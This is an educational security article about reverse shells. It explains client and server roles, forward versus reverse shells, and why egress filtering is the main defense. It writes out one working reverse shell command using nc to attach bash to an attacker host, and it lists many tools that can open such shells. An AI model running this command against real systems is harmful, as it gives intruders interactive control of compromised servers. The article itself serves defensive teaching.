Introduction
Once attackers have gained a foothold, perhaps by exploiting a remote code execution (RCE) vulnerability, leveraging a file upload, or some other tactic to gain execution on the target, they may end up using a web shell, as we described in a previous article. However, web shells are limited, and attackers may often want to get a more reliable and fully capable shell to use. This article will dive into several ways attackers manage to get a fully interactive shell, often over an encrypted channel, to further their ends.
What’s a Client and What’s a Server?
In order to explain why attackers use reverse shells, it’s necessary to talk a little about what we mean by “client” and “server”.
We usually consider the server the host that provides the service, whatever that might be, and the client the host that is using the service. For example, the “web server” is the host running a webserver process, listening for connections from the internet from clients, i.e. web browsers.
However, this model obscures an important fact. Either side of a connection, client or server, may be the one which initiates the connection. Typically, clients initiate the connection, but this doesn’t have to be the case. One mostly historical example is Passive mode FTP – the initial connection is initiated by the ftp client, but in Passive mode, the data channel is actually requested by the server, which informs the client to open a particular port to receive data.
This is very rarely seen anymore – primarily due to the fact that we have firewalls now, which prevent a server on the internet from initiating a connection to a client host behind the firewall.
We’ll see why this matters shortly in our discussion of Reverse Shells, below.
What’s a Shell?
A shell is simply a command line interface that a user can use to issue commands to a system. On Mac OS X and Linux, one usually starts a “terminal program”, such as Terminal.app on Mac, or a variety of terminal emulators in Linux. On Windows systems, “cmd.exe” or Powershell are examples of the same general idea.
Once logged into a shell, a user can run a large number of commands, view files they have permissions to view, edit and create other files, run programs, and do just about anything they wish, limited only by their permissions.
Remote Shells
For remote access, the most common way that legitimate users gain access to a command line on a system is by using the Secure Shell (SSH) protocol. A server offering this service will have a TCP port open (port 22 typically) and a user will use an SSH client to connect to it. Once authenticated, they will be presented with a command line, and can start issuing commands.
This requires that whatever firewalling is in place be configured to allow a TCP connection from the client to port tcp/22 on the server.
Most organizations, at least ones paying attention to their security, will prevent ssh connections to their environment from random clients on the internet. In fact, given the huge number of ssh scanners that are constantly looking for ssh servers, this is nearly a requirement – an ssh server that allows connections from everywhere will generally be subject to intense brute force activity, and if an account on the system has weak or breached credentials, attackers will almost certainly be able to log in. Because of this, many organizations block ssh access at their network edge, or limit it to specific IPs or subnets.
Forward Shells and Reverse Shells
An ssh connection, where a client connects to a server, is an example of a “forward” shell. The client initiates the connection to the server, and this traffic is usually subject to firewalling or network ACL control as noted above. Simply put, if a user or an attacker is attempting to reach a host that blocks network access from outside of the organization, a forward shell isn’t going to work. These are also called “bind” shells, since they bind (i.e. connect) to a specific port on the server.
There is, however, a clever trick that attackers use to gain a fully interactive shell even when ssh and other protocols are blocked at the firewall.
Many organizations will primarily concern themselves with blocking traffic coming in from the internet. For example, a web server will typically only allow connections to port 443 (and perhaps port 80) but will block connections to all other ports. However, organizations sometimes don’t use the same care for traffic originating from the server going out to the internet. Often all outbound traffic is allowed.
This is the key to remote shells. Let’s see what this looks like by example.
- A web server is firewalled so that the only connections to the web server process, on port 443, are allowed. All outbound traffic is allowed, however.
- An attacker has found a RCE vulnerability in a web application, which allows them to run a command on the target system.
- The attacker creates a “listener” on their system, which will receive network connections on port 80, mimicking a webserver. We’ll say the attacker’s system has an ip of 192.168.0.2
- The attacker uses the RCE to run the following command on the target “nc 192.168.0.2 80 -e /bin/bash”
- The nc command will create a network connection from the webserver to the attacker machine and then connect the linux shell “bash” to this network connection.
- On the attacker machine, the listener on the attacker machine now is connected to the bash shell on the target – and the attacker can start issuing command.
Note how this doesn’t violate any firewall policies! On a network level, the only thing that happened was that the webserver initiated a connection to some machine out on the internet.
This is why these are called “reverse” shells. It reverses the usual terms – the “server” starts a connection back to a “client” instead of the other way around.
Prevention is Harder Than It Looks
Given the above, a lot of organizations will look first at how to remove tools like “nc” from the webserver. It looks at first like this would be sufficient to prevent a reverse shell from being created, doesn’t it? It is not.
Attackers have a plethora of tools they can use to create reverse shells, and it’s likely that at least one of these will be present on the target.
Reverse shells can be created with the following tools, among many others (this list is not exhaustive):
- bash
- sh (this will be present on every Linux system, as it is required for the system to boot)
- other shells (zsh, tcsh, csh, and many more)
- various scripting languages (perl, python, and more)
- various other programming languages (c, c++, c#, php, lua, ruby, node.js, java, golang, rust, and more)
and even tools like “awk”, that you wouldn’t necessarily think could be used for this purpose, as the following example shows:
Figure 1: Attacker opens listener on their device
Figure 2: On compromised device, attacker issue command to connect back to their device and attach a shell
Figure 3: On attacker machine, the network connection is received, and the attacker now has shell access on the target
Defenses and Conclusion
The best way to avoid having to worry about reverse shells is to block them at the network level, by strictly controlling server’s access to the internet. This is usually done by restricting servers to only allow outbound traffic to already established connections.
However, this may be difficult to achieve – many servers make requests to APIs, or download updates, from a variable list of endpoints on the internet, or rely on pools of NTP servers and similar connections in order to function properly.
If one can manage it, providing required services from within the local network is often preferable, but doing so is an extra expense, and requires additional administrative resources.
